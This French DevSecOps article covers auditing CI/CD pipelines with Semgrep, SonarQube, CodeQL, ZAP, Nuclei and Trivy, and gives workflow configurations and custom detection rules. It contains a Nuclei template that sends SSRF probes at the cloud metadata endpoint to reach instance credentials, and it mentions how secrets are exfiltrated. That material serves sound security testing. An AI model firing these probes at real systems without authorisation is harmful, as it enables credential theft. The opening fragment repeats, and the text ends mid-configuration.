Les pipelines CI/CD constituent désormais le système nerveux central de toute organisation logicielle. Chaque commit déclenche une cascade d'opérations automatisées — compilation, tests, analyse, déploiement — qui transforme du code source en artefacts de production en quelques minutes. Cette vélocité.
L'intégration de la sécurité dans les pipelines CI/CD représente aujourd'hui un impératif stratégique pour toute organisation développant des logiciels à rythme soutenu. Selon le guide DevSecOps de l'OWASP, les outils SAST (Static Application Security Testing), DAST (Dynamic Application Security Testing) et SCA (Software Composition Analysis) permettent de détecter les vulnérabilités dès les premières phases du développement, réduisant drastiquement le coût de remédiation. Le projet SonarQube constitue la référence open source pour l'analyse statique continue. Ce guide détaille l'implémentation complète d'un pipeline DevSecOps avec GitHub Actions et GitLab CI, couvrant la configuration des scanners, la définition des quality gates, la gestion des faux positifs, les stratégies d'adoption progressive pour les équipes découvrant l'approche shift-left security, et les métriques permettant de mesurer l'efficacité de votre programme de sécurité applicative dans la durée.
Les pipelines CI/CD constituent désormais le système nerveux central de toute organisation logicielle. Chaque commit déclenche une cascade d'opérations automatisées — compilation, tests, analyse, déploiement — qui transforme du code source en artefacts de production en quelques minutes. Cette vélocité a un coût : une surface d'attaque considérable, souvent négligée par les équipes qui considèrent leur pipeline comme un outil interne et non comme une cible. En 2025, les attaques contre les chaînes d'approvisionnement logicielles (supply chain attacks) ont représenté 38% des incidents majeurs documentés par les CERT européens. L'attaque contre SolarWinds, la compromission de CodeCov, l'injection de code malveillant dans les packages npm via des GitHub Actions détournées — tous ces incidents partagent un point commun : l'exploitation d'une faiblesse dans le pipeline CI/CD. L'audit de ces pipelines exige une approche méthodique combinant analyse statique du code (SAST), tests dynamiques (DAST), analyse de la composition logicielle (SCA), scanning de l'Infrastructure as Code (IaC), détection de secrets et vérification de l'intégrité de la chaîne d'approvisionnement. Cet article détaille chaque composante, avec des configurations concrètes, des retours d'expérience terrain et des architectures de référence que nous avons déployées sur des environnements de production critiques. Nous aborderons également les aspects organisationnels — comment convaincre les développeurs d'adopter ces contrôles sans ralentir leur productivité, comment structurer la gouvernance des exceptions, et comment mesurer le retour sur investissement d'un programme DevSecOps.
Anatomie d'un Pipeline CI/CD Moderne et ses Surfaces d'Attaque
Un pipeline CI/CD moderne se compose de plusieurs étapes séquentielles et parallèles. Le développeur pousse du code sur un dépôt Git. Un webhook déclenche le système CI (GitHub Actions, GitLab CI, Jenkins, CircleCI). Le runner — une machine virtuelle, un conteneur ou un hôte bare-metal — clone le dépôt, installe les dépendances, exécute les tests, construit les artefacts et les déploie vers l'environnement cible. Chaque étape représente une surface d'attaque distincte.
Le dépôt Git lui-même est le premier vecteur. Un attaquant qui obtient un accès en écriture peut modifier le fichier de workflow (.github/workflows/*.yml ou .gitlab-ci.yml) pour injecter des commandes arbitraires. La protection des branches (branch protection rules) est souvent insuffisante : les règles de revue de code ne s'appliquent pas toujours aux fichiers de workflow, et les GitHub Actions de type pull_request_target s'exécutent dans le contexte de la branche cible avec les secrets disponibles.
Les runners partagés constituent le deuxième vecteur critique. Sur GitHub Actions, les runners hébergés par GitHub sont éphémères et relativement sûrs, mais les runners auto-hébergés (self-hosted) persistent entre les exécutions. Un workflow malveillant exécuté sur un runner self-hosted peut installer un backdoor qui persiste et affecte les workflows suivants. Sur GitLab CI, le même risque existe avec les runners partagés entre projets de confiance différente. La problématique est amplifiée dans les grandes organisations où des centaines de dépôts partagent un pool de runners sans ségrégation par niveau de confiance.
Les secrets représentent le troisième vecteur. Les tokens d'API, les clés SSH, les credentials de registres de conteneurs sont injectés dans l'environnement d'exécution sous forme de variables d'environnement. Un echo $SECRET dans un step de debug, un log verbose d'un outil tiers, ou une exfiltration via une requête DNS — les méthodes pour extraire ces secrets sont nombreuses et souvent triviales. Nous avons audité une organisation où un développeur avait ajouté un step de debug env qui affichait toutes les variables d'environnement dans les logs — y compris le token d'accès au registre de production. Les logs CI/CD étaient accessibles à tous les développeurs de l'organisation.
Les artefacts produits par le pipeline représentent le quatrième vecteur. Les images Docker poussées vers un registre, les packages publiés sur un registre npm ou PyPI interne, les binaires déployés — chacun de ces artefacts peut être substitué par un attaquant qui compromet le registre ou le mécanisme de publication. Sans signature cryptographique et vérification d'intégrité, rien ne garantit que l'artefact déployé en production est celui qui a été produit par le pipeline légitime.
Intégration continue
Enfin, les dépendances tierces constituent le cinquième vecteur, et probablement le plus exploité en 2025-2026. La dependency confusion (publication d'un package malveillant avec le même nom qu'un package interne sur un registre public), le typosquatting (noms de packages similaires à des packages populaires), et la compromission directe de mainteneurs de packages populaires sont des vecteurs qui exploitent la confiance implicite dans l'écosystème open-source.
| Composant du Pipeline | Surface d'Attaque | Risque | Contrôle d'Audit |
|---|---|---|---|
| Fichiers de workflow | Injection de commandes via PR | Critique | Revue obligatoire des modifications de workflow |
| Runners self-hosted | Persistance inter-jobs | Élevé | Runners éphémères, isolation par projet |
| Secrets CI/CD | Exfiltration via logs/DNS | Critique | Masquage, rotation, scoping minimal |
| Registres d'artefacts | Substitution d'image | Élevé | Signature d'images, vérification de digest |
| Dépendances tierces | Dependency confusion, typosquatting | Élevé | SCA + lock files + registre privé |
| Actions/Templates tiers | Code malveillant dans des actions populaires | Élevé | Pinning par SHA, audit des actions |
| Webhooks | Déclenchement non autorisé | Moyen | Signature HMAC, filtrage IP |
| Caches CI | Empoisonnement de cache | Moyen | Isolation des caches par branche |
L'audit commence par cartographier exhaustivement cette surface d'attaque. Nous utilisons un outil maison basé sur l'API GraphQL de GitHub pour extraire tous les workflows d'une organisation, leurs permissions, les secrets référencés, les actions tierces utilisées et leurs versions. Sur GitLab, l'API REST fournit des informations équivalentes. Cette cartographie produit un inventaire qui sert de base à l'analyse systématique de chaque composante. L'inventaire est ensuite enrichi par des interviews des équipes DevOps pour identifier les pratiques non documentées — les scripts ad hoc exécutés manuellement, les pipelines "shadow IT" non intégrés dans la gouvernance, les accès privilégiés non révoqués d'anciens employés.
Point essentiel : L'audit d'un pipeline CI/CD ne se limite pas à scanner le code applicatif. Il faut auditer les fichiers de workflow eux-mêmes, la configuration des runners, la gestion des secrets, les actions tierces et l'intégrité de la chaîne d'artefacts. Chaque composant est un vecteur d'attaque potentiel qui nécessite des contrôles spécifiques. La cartographie initiale est la phase la plus critique — on ne peut pas protéger ce qu'on ne connaît pas.
Analyse complémentaire
SAST : Analyse Statique du Code Source à l'Échelle
L'analyse statique du code source (Static Application Security Testing) examine le code sans l'exécuter. Elle identifie des patterns connus de vulnérabilités : injections SQL, XSS, désérialisation non sécurisée, utilisation de fonctions cryptographiques faibles. L'intégration du SAST dans le pipeline CI/CD permet de détecter ces vulnérabilités avant qu'elles n'atteignent la production. Trois outils dominent le paysage SAST open-source en 2026 : Semgrep, SonarQube et CodeQL. Chacun a des forces et des faiblesses qui les rendent complémentaires plutôt que concurrents.
Semgrep : Rapidité et Personnalisation
Semgrep se distingue par sa vitesse d'exécution et la facilité de création de règles personnalisées. Son moteur de pattern matching permet d'écrire des règles en utilisant une syntaxe proche du code cible, ce qui les rend lisibles par les développeurs. Un scan Semgrep sur un projet de 500 000 lignes prend typiquement entre 30 secondes et 2 minutes, ce qui est compatible avec une exécution sur chaque pull request. La communauté Semgrep maintient plus de 3 000 règles couvrant les vulnérabilités OWASP Top 10 pour plus de 30 langages.
L'architecture de Semgrep repose sur un parsing AST (Abstract Syntax Tree) du code source, suivi d'un matching de patterns sur cet AST. Cela signifie que les règles sont insensibles au formatage, aux noms de variables et aux commentaires — seule la structure du code compte. Cette approche est fondamentalement différente de la recherche par expression régulière (grep) qui génère des faux positifs massifs.
Mise en oeuvre opérationnelle
# .github/workflows/sast-semgrep.yml
name: SAST - Semgrep
on:
pull_request:
branches: [main, develop]
push:
branches: [main]
jobs:
semgrep:
runs-on: ubuntu-latest
container:
image: semgrep/semgrep:latest
steps:
- uses: actions/checkout@v4
- name: Run Semgrep
run: |
semgrep scan \
--config=p/owasp-top-ten \
--config=p/security-audit \
--config=p/secrets \
--config=p/supply-chain \
--config=.semgrep/ \
--sarif \
--output=semgrep-results.sarif \
--error \
--severity=ERROR \
--exclude='vendor/*' \
--exclude='node_modules/*' \
--exclude='*_test.go' \
--metrics=off \
--timeout=300
- name: Upload SARIF
if: always()
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: semgrep-results.sarif
- name: Comment PR with findings
if: failure() && github.event_name == 'pull_request'
uses: actions/github-script@v7
with:
script: |
const fs = require('fs');
const sarif = JSON.parse(fs.readFileSync('semgrep-results.sarif', 'utf8'));
const results = sarif.runs[0].results;
let comment = '## Semgrep Security Findings\n\n';
results.forEach(r => {
const loc = r.locations[0].physicalLocation;
comment += `- **${r.ruleId}** (${r.level}): ${r.message.text}\n`;
comment += ` 📍 ${loc.artifactLocation.uri}:${loc.region.startLine}\n\n`;
});
github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: comment
});
La puissance de Semgrep réside dans ses règles personnalisées. Voici un exemple de règle qui détecte l'utilisation non sécurisée de html/template en Go, où une valeur utilisateur est passée sans échappement via template.HTML() :
# .semgrep/go-template-injection.yml
rules:
- id: go-unsafe-template-html
patterns:
- pattern: template.HTML($VAR)
- pattern-not: template.HTML("...")
- pattern-not-inside: |
$SANITIZED := sanitize(...)
...
template.HTML($SANITIZED)
message: |
Utilisation de template.HTML() avec une variable dynamique.
Ceci désactive l'échappement automatique et peut mener à une XSS.
Utilisez le système d'échappement natif de html/template.
languages: [go]
severity: ERROR
metadata:
cwe: CWE-79
owasp: A7:2017 Cross-Site Scripting
confidence: HIGH
references:
- https://pkg.go.dev/html/template#HTML
- id: go-fiber-no-csrf
patterns:
- pattern: app.Post($PATH, $HANDLER)
- pattern-not-inside: |
app.Use(csrf.New(...))
...
message: |
Endpoint POST sans middleware CSRF.
Ajoutez csrf.New() comme middleware global ou sur cette route.
languages: [go]
severity: WARNING
metadata:
cwe: CWE-352
owasp: A5:2017 Broken Access Control
- id: go-sql-string-concat
patterns:
- pattern: |
$DB.Raw($QUERY + $INPUT, ...)
- pattern: |
$DB.Exec(fmt.Sprintf($FMT, $INPUT), ...)
message: |
Construction de requête SQL par concaténation.
Utilisez des requêtes paramétrées : db.Raw("SELECT ... WHERE id = ?", input)
languages: [go]
severity: ERROR
metadata:
cwe: CWE-89
confidence: HIGH
En audit, nous créons systématiquement un jeu de règles Semgrep spécifiques au stack technologique du client. Pour une application Go Fiber, nous ajoutons des règles sur les middlewares CORS mal configurés, les réponses JSON sans Content-Type explicite, l'absence de validation sur les paramètres de requête, l'utilisation de c.Query() sans sanitization dans des templates, et les sessions non sécurisées. Pour une application Node.js, les règles couvrent l'utilisation de eval(), les require() dynamiques, les RegExp vulnérables au ReDoS, les configurations Express sans helmet, et les injections NoSQL via des opérateurs MongoDB non filtrés. Ce jeu de règles personnalisé est le livrable le plus valorisé de nos audits — il continue à protéger le code bien après la fin de la mission.
Politiques et règles
SonarQube : Qualité et Sécurité Combinées
SonarQube offre une approche plus large qui combine la détection de vulnérabilités de sécurité avec l'analyse de la qualité du code (code smells, dette technique, couverture de tests). Son modèle de Quality Gate permet de définir des seuils que le code doit respecter pour passer l'étape CI. En contexte d'audit, nous examinons la configuration du Quality Gate pour vérifier que les critères de sécurité sont activés et correctement calibrés.
SonarQube se décline en trois éditions : Community (gratuit, 17 langages, analyse basique), Developer (payant, analyse de branches, détection de taint flow), et Enterprise (payant, analyse de projets multiples, rapport de portefeuille). En audit sécurité, l'édition Developer est le minimum recommandé car elle inclut l'analyse de taint flow — la capacité de tracer une donnée depuis une source non fiable (input utilisateur) jusqu'à un sink dangereux (requête SQL, commande système). L'édition Community manque cette fonctionnalité critique et ne détecte que les patterns locaux.
# Configuration SonarQube Quality Gate recommandée pour la sécurité
# sonar-project.properties
sonar.projectKey=mon-projet
sonar.sources=src
sonar.tests=tests
sonar.language=java
sonar.java.binaries=target/classes
# Exclusions (code généré, vendored)
sonar.exclusions=**/vendor/**,**/node_modules/**,**/generated/**
sonar.test.exclusions=**/*_test.go,**/test/**
# Quality Gate conditions (configurées via l'interface ou l'API) :
# ┌────────────────────────────────────────────────────────────┐
# │ Condition │ Seuil │ Type │
# ├────────────────────────────────────┼──────────┼───────────┤
# │ Security Rating │ A │ Bloquant │
# │ New Security Rating │ A │ Bloquant │
# │ Reliability Rating │ B │ Warning │
# │ Security Hotspots reviewed │ >= 80% │ Bloquant │
# │ New vulnerabilities │ 0 │ Bloquant │
# │ Coverage on new code │ >= 80% │ Warning │
# │ Duplicated lines on new code │ <= 3% │ Warning │
# └────────────────────────────────────┴──────────┴───────────┘
L'intégration de SonarQube dans un pipeline GitLab CI utilise le scanner CLI et pousse les résultats vers le serveur SonarQube. Le Quality Gate est ensuite interrogé pour décider du succès ou de l'échec du job :
# .gitlab-ci.yml - Job SonarQube
sonarqube-analysis:
stage: test
image: sonarsource/sonar-scanner-cli:latest
variables:
SONAR_HOST_URL: "https://sonar.internal.corp"
SONAR_TOKEN: "${SONAR_TOKEN}"
GIT_DEPTH: 0
script:
- |
sonar-scanner \
-Dsonar.qualitygate.wait=true \
-Dsonar.qualitygate.timeout=300 \
-Dsonar.pullrequest.key=${CI_MERGE_REQUEST_IID} \
-Dsonar.pullrequest.branch=${CI_MERGE_REQUEST_SOURCE_BRANCH_NAME} \
-Dsonar.pullrequest.base=${CI_MERGE_REQUEST_TARGET_BRANCH_NAME}
allow_failure: false
rules:
- if: $CI_PIPELINE_SOURCE == "merge_request_event"
- if: $CI_COMMIT_BRANCH == "main"
Un point fréquemment négligé en audit : la configuration de SonarQube elle-même. Nous vérifions que le Quality Gate par défaut n'a pas été affaibli (suppression de conditions, seuils augmentés), que les Security Hotspots sont effectivement reviewés (et pas simplement marqués "Safe" en masse), et que les profils de qualité incluent les règles de sécurité critiques. Nous avons audité une organisation qui avait configuré un Quality Gate autorisant jusqu'à 5 vulnérabilités de sécurité critiques par merge request — rendant la protection complètement inefficace.
Renforcement de la sécurité
CodeQL : Analyse Sémantique Profonde
CodeQL, développé par GitHub (anciennement Semmle), effectue une analyse sémantique profonde en construisant une base de données relationnelle à partir du code source, puis en exécutant des requêtes QL sur cette base. Cette approche permet de détecter des vulnérabilités complexes impliquant des flux de données à travers plusieurs fichiers et fonctions — quelque chose que les outils basés sur le pattern matching peinent à faire.
CodeQL excelle dans la détection des vulnérabilités de type taint flow : il trace le chemin d'une donnée depuis sa source (input utilisateur) jusqu'à son sink (fonction dangereuse) à travers les appels de fonctions, les assignations de variables et les transformations. Cela permet de détecter des injections SQL où la donnée utilisateur passe par 5 fonctions avant d'atteindre la requête. La construction de la base de données nécessite la compilation du code (pour les langages compilés), ce qui explique le temps d'exécution significativement plus long.
/**
* @name SQL injection via string concatenation in Go
* @description Construction de requêtes SQL par concaténation
* de chaînes avec des données provenant de requêtes HTTP.
* @kind path-problem
* @problem.severity error
* @security-severity 9.8
* @precision high
* @id go/sql-injection-from-http
* @tags security
* external/cwe/cwe-089
*/
import go
import semmle.go.security.SqlInjection
import DataFlow::PathGraph
class HttpRequestSource extends DataFlow::Node {
HttpRequestSource() {
exists(Function f |
f.hasQualifiedName("github.com/gofiber/fiber/v2", "Ctx", "Query") or
f.hasQualifiedName("github.com/gofiber/fiber/v2", "Ctx", "Params") or
f.hasQualifiedName("github.com/gofiber/fiber/v2", "Ctx", "Body") or
f.hasQualifiedName("net/http", "Request", "FormValue")
|
this = f.getACall()
)
}
}
from SqlInjection::Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink,
"Cette requête SQL dépend d'une $@.", source.getNode(),
"entrée HTTP non validée"
Le temps d'exécution de CodeQL est significativement plus long que celui de Semgrep — comptez 10 à 30 minutes pour un projet de taille moyenne. C'est pourquoi nous recommandons de l'exécuter uniquement sur les merges vers les branches protégées, et non sur chaque commit de feature branch. L'intégration native avec GitHub via les GitHub Security Advisories permet de recevoir les résultats directement dans l'onglet Security du dépôt.
Intégration continue
# .github/workflows/codeql.yml
name: CodeQL Analysis
on:
push:
branches: [main]
schedule:
- cron: '0 3 * * 1' # Analyse hebdomadaire le lundi à 3h
jobs:
analyze:
runs-on: ubuntu-latest
timeout-minutes: 60
permissions:
security-events: write
contents: read
strategy:
matrix:
language: [go, javascript]
steps:
- uses: actions/checkout@v4
- uses: github/codeql-action/init@v3
with:
languages: ${{ matrix.language }}
config-file: .github/codeql/codeql-config.yml
queries: +security-extended,security-and-quality
- uses: github/codeql-action/autobuild@v3
- uses: github/codeql-action/analyze@v3
with:
category: "/language:${{ matrix.language }}"
# .github/codeql/codeql-config.yml
name: "Custom CodeQL Config"
queries:
- uses: security-extended
- uses: security-and-quality
- uses: ./custom-queries # Queries personnalisées de l'organisation
paths-ignore:
- vendor
- node_modules
- "**/test/**"
- "**/*_test.go"
query-filters:
- exclude:
problem.severity: recommendation
| Critère | Semgrep | SonarQube | CodeQL |
|---|---|---|---|
| Vitesse d'exécution | Très rapide (< 2 min) | Moyen (5-15 min) | Lent (10-30 min) |
| Profondeur d'analyse | Pattern matching + dataflow basique | Dataflow intra-fichier | Dataflow inter-fichier complet |
| Règles personnalisées | Très facile (YAML) | Moyen (Java plugin) | Complexe mais puissant (QL) |
| Taux de faux positifs | Moyen (5-15%) | Faible à moyen (3-10%) | Très faible (< 5%) |
| Langages supportés | 30+ | 25+ | 12 (mais très profond) |
| Coût | Gratuit (OSS) / Payant (Cloud) | Community gratuit, Enterprise payant | Gratuit sur GitHub public |
| Intégration CI | CLI, GitHub Action, GitLab | Scanner CLI, plugins IDE | GitHub Actions natif |
| Qualité de code (non-sécu) | Non | Oui (code smells, dette) | Oui (partiel) |
| IDE integration | VS Code, IntelliJ | SonarLint (tous IDE) | VS Code (CodeQL extension) |
Point essentiel : La stratégie SAST optimale combine Semgrep sur chaque pull request (rapidité, règles custom) et CodeQL sur les merges vers main (profondeur d'analyse). SonarQube apporte la dimension qualité de code et l'interface de gestion à long terme. Les trois outils produisent du SARIF (Static Analysis Results Interchange Format), ce qui permet une consolidation dans GitHub Security ou un dashboard centralisé comme DefectDojo. Ne choisissez pas un seul outil — combinez-les selon le contexte d'exécution.
DAST : Tests Dynamiques Intégrés au Pipeline
Le DAST (Dynamic Application Security Testing) teste l'application en cours d'exécution en envoyant des requêtes HTTP malveillantes et en analysant les réponses. Contrairement au SAST qui analyse le code source, le DAST voit l'application comme un attaquant externe — ce qui permet de détecter des vulnérabilités qui n'apparaissent qu'à l'exécution : erreurs de configuration du serveur, headers de sécurité manquants, vulnérabilités dans les dépendances runtime, problèmes de CORS.
L'intégration du DAST dans un pipeline CI/CD nécessite de déployer l'application dans un environnement de staging éphémère, puis de lancer le scanner contre cet environnement. Cela ajoute de la complexité et du temps, mais apporte une couverture que le SAST seul ne peut pas fournir. Le DAST détecte les vulnérabilités de configuration (headers manquants, TLS mal configuré), les vulnérabilités composites (combinaison de plusieurs facteurs qui n'apparaissent qu'à l'exécution), et les vulnérabilités dans les composants tiers runtime (serveur web, framework).
ZAP (Zed Attack Proxy) en Mode Automatisé
OWASP ZAP est le scanner DAST open-source le plus utilisé. Son mode automation framework, introduit dans ZAP 2.12, permet de définir un plan de scan complet en YAML. Il remplace les anciens modes "baseline" et "full scan" avec une approche plus flexible et reproductible.
# .github/workflows/dast-zap.yml
name: DAST - ZAP Full Scan
on:
workflow_run:
workflows: ["Deploy Staging"]
types: [completed]
jobs:
zap-scan:
if: ${{ github.event.workflow_run.conclusion == 'success' }}
runs-on: ubuntu-latest
timeout-minutes: 60
steps:
- uses: actions/checkout@v4
- name: Wait for staging to be ready
run: |
for i in $(seq 1 30); do
if curl -s -o /dev/null -w "%{http_code}" https://staging.example.com/health | grep -q "200"; then
echo "Staging is ready"
exit 0
fi
echo "Waiting for staging... (attempt $i/30)"
sleep 10
done
echo "Staging not ready after 5 minutes"
exit 1
- name: ZAP Full Scan
uses: zaproxy/action-full-scan@v0.12.0
with:
target: "https://staging.example.com"
rules_file_name: ".zap/rules.tsv"
cmd_options: >
-a
-j
-z "-config scanner.threadPerHost=5
-config connection.timeoutInSecs=120
-config spider.maxDuration=10
-config scanner.maxScanDurationInMins=30"
artifact_name: "zap-report"
- name: Parse and evaluate results
if: always()
run: |
# Compter les findings par sévérité
if [ -f "zap-report.json" ]; then
INFORMATIONAL=$(jq '[.site[].alerts[] | select(.riskcode=="0")] | length' zap-report.json)
LOW=$(jq '[.site[].alerts[] | select(.riskcode=="1")] | length' zap-report.json)
MEDIUM=$(jq '[.site[].alerts[] | select(.riskcode=="2")] | length' zap-report.json)
HIGH=$(jq '[.site[].alerts[] | select(.riskcode=="3")] | length' zap-report.json)
echo "## ZAP Scan Results" >> $GITHUB_STEP_SUMMARY
echo "| Severity | Count |" >> $GITHUB_STEP_SUMMARY
echo "|----------|-------|" >> $GITHUB_STEP_SUMMARY
echo "| High | $HIGH |" >> $GITHUB_STEP_SUMMARY
echo "| Medium | $MEDIUM |" >> $GITHUB_STEP_SUMMARY
echo "| Low | $LOW |" >> $GITHUB_STEP_SUMMARY
echo "| Info | $INFORMATIONAL |" >> $GITHUB_STEP_SUMMARY
if [ "$HIGH" -gt 0 ]; then
echo "::error::ZAP found $HIGH high-risk vulnerabilities"
exit 1
fi
fi
Le fichier de règles .zap/rules.tsv permet de personnaliser le comportement du scanner. Cette personnalisation est critique : sans elle, ZAP génère des dizaines de faux positifs qui noient les vrais findings et découragent les équipes. La configuration doit être revue et ajustée après chaque scan initial :
Configuration avancée
# .zap/rules.tsv
# Format : ID\tAction\tThreshold
# Actions : IGNORE, INFO, WARN, FAIL
# Threshold : LOW, MEDIUM, HIGH (sensibilité du test)
# Faux positifs courants à désactiver
10038 IGNORE # CSP Header - géré par le reverse proxy, pas l'application
10098 IGNORE # Cross-Domain Misconfiguration - faux positif sur CDN
10096 IGNORE # Timestamp Disclosure - information non sensible
10027 IGNORE # Information Disclosure: Suspicious Comments - bruit
# Findings critiques qui doivent toujours bloquer
40012 FAIL LOW # XSS Reflected - toute sévérité bloque
40014 FAIL LOW # XSS Persistent - toute sévérité bloque
40018 FAIL LOW # SQL Injection - toute sévérité bloque
90019 FAIL MEDIUM # Server Side Code Injection
40043 FAIL LOW # Log4Shell
# Findings importants en mode warning
10010 WARN MEDIUM # Cookie without Secure flag
10011 WARN MEDIUM # Cookie without HttpOnly flag
10015 WARN HIGH # Incomplete or no Cache-control header
90001 WARN MEDIUM # Insecure JSF ViewState
10020 WARN HIGH # Anti-clickjacking Header Missing
Nuclei : Templates Communautaires et Personnalisées
Nuclei de ProjectDiscovery complète ZAP avec une approche basée sur des templates. Sa bibliothèque de plus de 8 000 templates couvre les CVE connues, les mauvaises configurations, les expositions de données. Nuclei est particulièrement efficace pour détecter les problèmes spécifiques à un stack technologique — une CVE dans une version précise de WordPress, un panneau d'administration exposé, un fichier de configuration accessible publiquement.
L'avantage de Nuclei par rapport à ZAP est sa rapidité et sa précision : chaque template teste un point très spécifique, ce qui réduit les faux positifs. Son inconvénient est qu'il ne fait pas de crawling ni de fuzzing — il teste uniquement les patterns connus. L'association ZAP (crawling + fuzzing) + Nuclei (vérifications ciblées) offre une couverture DAST optimale.
# Job Nuclei dans GitLab CI
nuclei-scan:
stage: dast
image: projectdiscovery/nuclei:latest
variables:
TARGET_URL: "https://staging.example.com"
script:
- |
# Mise à jour des templates
nuclei -update-templates
# Scan avec templates de sécurité
nuclei \
-u ${TARGET_URL} \
-t cves/ \
-t misconfiguration/ \
-t exposures/ \
-t technologies/ \
-t vulnerabilities/ \
-t default-logins/ \
-severity critical,high,medium \
-rate-limit 50 \
-bulk-size 25 \
-concurrency 10 \
-output nuclei-results.jsonl \
-jsonl \
-silent \
-no-color
# Évaluation des résultats
CRITICAL=$(grep -c '"severity":"critical"' nuclei-results.jsonl 2>/dev/null || echo 0)
HIGH=$(grep -c '"severity":"high"' nuclei-results.jsonl 2>/dev/null || echo 0)
echo "Critical: $CRITICAL, High: $HIGH"
if [ "$CRITICAL" -gt 0 ]; then
echo "CRITICAL vulnerabilities found:"
grep '"severity":"critical"' nuclei-results.jsonl | jq -r '.info.name + " - " + .matched_at'
exit 1
fi
artifacts:
paths:
- nuclei-results.jsonl
when: always
allow_failure: false
Nous créons également des templates Nuclei personnalisées pour vérifier des points spécifiques à l'infrastructure du client. Par exemple, une template qui vérifie que le endpoint de métadonnées cloud n'est pas accessible depuis l'application (protection contre le SSRF), ou une template qui vérifie que les endpoints d'API internes ne sont pas exposés publiquement :
Analyse complémentaire
# custom-templates/cloud-metadata-accessible.yaml
id: cloud-metadata-ssrf-check
info:
name: Cloud Metadata Endpoint Accessible via Application
author: audit-team
severity: critical
description: |
Vérifie si l'application peut être utilisée comme proxy vers les
endpoints de métadonnées cloud via des fonctionnalités de fetch/preview.
Une réponse positive indique une vulnérabilité SSRF exploitable.
tags: ssrf,cloud,metadata,aws,azure,gcp
reference:
- https://blog.appsecco.com/an-ssrf-privileged-aws-keys-and-the-capital-one-breach-4c3c2cded3af
http:
- raw:
- |
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers-condition: or
matchers:
- type: word
words:
- "ami-id"
- "instance-id"
- "security-credentials"
- "iam"
condition: or
- type: word
words:
- "computeMetadata"
- "google"
- raw:
- |
GET /api/preview?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01 HTTP/1.1
Host: {{Hostname}}
Accept: */*
Metadata: true
matchers:
- type: word
words:
- "vmId"
- "subscriptionId"
- "resourceGroupName"
condition: or
# custom-templates/internal-api-exposed.yaml
id: internal-api-exposed
info:
name: Internal API Endpoint Exposed
author: audit-team
severity: high
description: Vérifie que les endpoints d'API internes ne sont pas accessibles publiquement.
tags: misconfiguration,api,internal
http:
- method: GET
path:
- "{{BaseURL}}/actuator/health"
- "{{BaseURL}}/actuator/env"
- "{{BaseURL}}/actuator/configprops"
- "{{BaseURL}}/_debug/vars"
- "{{BaseURL}}/__debug/pprof"
- "{{BaseURL}}/server-status"
- "{{BaseURL}}/metrics"
- "{{BaseURL}}/.well-known/openid-configuration"
- "{{BaseURL}}/api/internal/"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "status"
- "database"
- "diskSpace"
- "GOROOT"
- "cmdline"
condition: or
L'audit DAST doit être cadencé correctement dans le pipeline. Un scan complet ZAP peut prendre 30 minutes à plusieurs heures selon la taille de l'application. Nous recommandons une stratégie à trois niveaux :
| Niveau | Type de Scan | Déclencheur | Durée | Bloquant |
|---|---|---|---|---|
| 1 - Rapide | ZAP Baseline (passif) + Nuclei (templates critiques) | Chaque PR vers develop | 5-10 min | Oui (critical only) |
| 2 - Standard | ZAP Active Scan (léger) + Nuclei (all templates) | Deploy staging | 15-30 min | Oui (high + critical) |
| 3 - Complet | ZAP Full Scan + Nuclei + Auth scan | Hebdomadaire (nuit) | 1-4 heures | Non (alertes) |
Le scan authentifié (niveau 3) est souvent négligé mais crucial. La plupart des vulnérabilités se trouvent derrière l'authentification. ZAP supporte l'authentification via form-based login, token bearer, ou scripts personnalisés. Sans scan authentifié, vous ne testez que 20% de la surface d'attaque réelle.
SCA : Analyse de la Composition Logicielle et Gestion des Dépendances
L'analyse de la composition logicielle (Software Composition Analysis) identifie les bibliothèques tierces utilisées par le projet, détecte les vulnérabilités connues (CVE) dans ces dépendances, vérifie la conformité des licences et évalue le risque lié à chaque composant. En moyenne, 80% du code d'une application moderne provient de bibliothèques tierces — ce qui fait de la SCA un pilier incontournable de la sécurité. Un projet Node.js typique avec 50 dépendances directes inclut souvent plus de 500 dépendances transitives, dont certaines n'ont pas été mises à jour depuis des années.
La SCA doit répondre à trois questions : quelles sont les vulnérabilités connues dans nos dépendances (CVE matching) ? Quelles sont les licences de nos dépendances et sont-elles compatibles avec notre modèle commercial (license compliance) ? Nos dépendances sont-elles à jour et activement maintenues (health scoring) ?
Trivy : Le Scanner Polyvalent
Trivy d'Aqua Security est devenu le scanner de vulnérabilités le plus populaire pour les conteneurs et les dépendances. Il scanne les images Docker, les fichiers de dépendances (go.mod, package-lock.json, Gemfile.lock, requirements.txt, pom.xml, Cargo.lock), les configurations Kubernetes et les fichiers IaC Terraform. Sa base de données de vulnérabilités est mise à jour toutes les 6 heures et agrège les données de NVD, GitHub Advisory Database, RedHat Security, Debian Security, Alpine SecDB et bien d'autres sources.
# Pipeline complet de scan avec Trivy
# .github/workflows/sca-trivy.yml
name: SCA - Trivy
on:
pull_request:
push:
branches: [main]
schedule:
- cron: '0 6 * * *' # Scan quotidien à 6h
jobs:
trivy-fs:
name: Scan Dependencies
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Trivy Filesystem Scan
uses: aquasecurity/trivy-action@0.28.0
with:
scan-type: fs
scan-ref: .
severity: CRITICAL,HIGH
format: sarif
output: trivy-fs.sarif
exit-code: 1
ignore-unfixed: true
ignorefile: .trivyignore
- name: Upload SARIF
if: always()
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: trivy-fs.sarif
trivy-image:
name: Scan Docker Image
runs-on: ubuntu-latest
needs: build # Après la construction de l'image
steps:
- name: Trivy Image Scan
uses: aquasecurity/trivy-action@0.28.0
with:
scan-type: image
image-ref: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }}
severity: CRITICAL,HIGH
format: sarif
output: trivy-image.sarif
exit-code: 1
ignore-unfixed: true
vuln-type: os,library
- name: Upload SARIF
if: always()
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: trivy-image.sarif
trivy-sbom:
name: Generate SBOM
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Generate SBOM (CycloneDX)
run: |
trivy fs . --format cyclonedx --output sbom.cdx.json
- name: Upload SBOM
